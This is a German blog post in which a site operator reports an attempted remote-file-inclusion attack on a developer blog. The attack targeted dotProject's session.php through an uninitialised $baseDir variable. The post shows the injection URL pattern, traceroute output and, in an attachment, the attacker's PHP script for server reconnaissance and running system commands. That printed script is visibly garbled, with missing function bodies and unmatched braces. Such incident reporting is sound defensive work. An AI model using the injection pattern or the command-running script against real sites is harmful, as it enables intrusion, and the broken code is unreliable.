Eben habe ich festgestellt, dass ein Cracker-Angriff auf den Entwickler Blog verübt wurde.
Der Versuch
Es wurde heute gegen 14:00 Uhr von einem, warscheinlich gekapertem Server, versucht auf dem System der Interpräsenz einzudringen.
Angriff via Plesk
Der Angriff sollte sich gegen ein (nicht) installiertes Dotproject richten. Da sich auf diesem System kein Dotproject befindet, ist der Angriff wohl etwas ziellos gewählt.
Die Server, von welchem der Angriff ausging, ist wohl über das kürzlich bekannt gewordene Lücke in der Administrations-Software Plesk eingedrungen. Via Traceroute habe ich dann ausmachen können, das der Server bei dem Anbieter Axarnet.es steht.
...
6 9 ms 9 ms 9 ms so-7-1.car1.Munich1.Level3.net [212.162.47.105]
7 14 ms 15 ms 17 ms ae-4-4.ebr1.Frankfurt1.Level3.net [4.69.134.2]
8 15 ms 15 ms 15 ms ae-11-53.car1.Frankfurt1.Level3.net [4.68.118.79
9 15 ms 15 ms 15 ms ge-2-1-2.fra40.ip.tiscali.net [4.68.127.2]
10 41 ms 41 ms 41 ms so-0-0-0.mad40.ip.tiscali.net [213.200.81.22]
11 42 ms 41 ms 41 ms 91.142.***.***
12 41 ms 41 ms 41 ms 91.142.***.***
Die Lücke, welche Ausgenutzt werden sollte, ist in der Datei session.php - ein vollständiger Advisory auf Security Focus - wie auch beim Confixx Exploit liegt es an einer nicht initalisierten Variablen, diesmal die Variable: $baseDir.
/includes/session.php?baseDir=[REMOTE INCLUDE]
Einbinden der Fremdatei
Es wurde versucht eine Datei mit folgendem Inhalt einzubinden, welche man im Anhang sehen kann.
Wie man dort sehen kann, soll das Script zum Aufruf von Systemfunktionen benutzt werden. Da sich aber auf dem System keine Dotproject Installation befindet, ist der Angriff ins Leere gelaufen.
Anhang
Download Code!
<?
$alb5 = getenv("SERVER_SOFTWARE"); $alb7 = $_SERVER['SERVER_NAME'];
$alb8 = $_SERVER['SERVER_ADDR'];
$os = @PHP_OS;
echo "UNITED ALBANIANS aka ALBOSS PARADISE<br>"; echo "uname -a: $alb<br>"; echo "uptime: $alb2<br>"; echo "SoftWare: $alb5<br>"; echo "ServerName: $alb7<br>"; echo "ServerAddr: $alb8<br>"; if ($free === FALSE) {$free = 0;}
if ($free < 0) {$free = 0;}
echo "Free: ".view_size
($free)."<br>"; $cmd="id";
$eseguicmd=ex($cmd);
function ex($cfe){
$res = '';
}
}
}
}
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); } }}
return $res;
}
function view_size($size)
{
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";}
return $size;
}
}
?>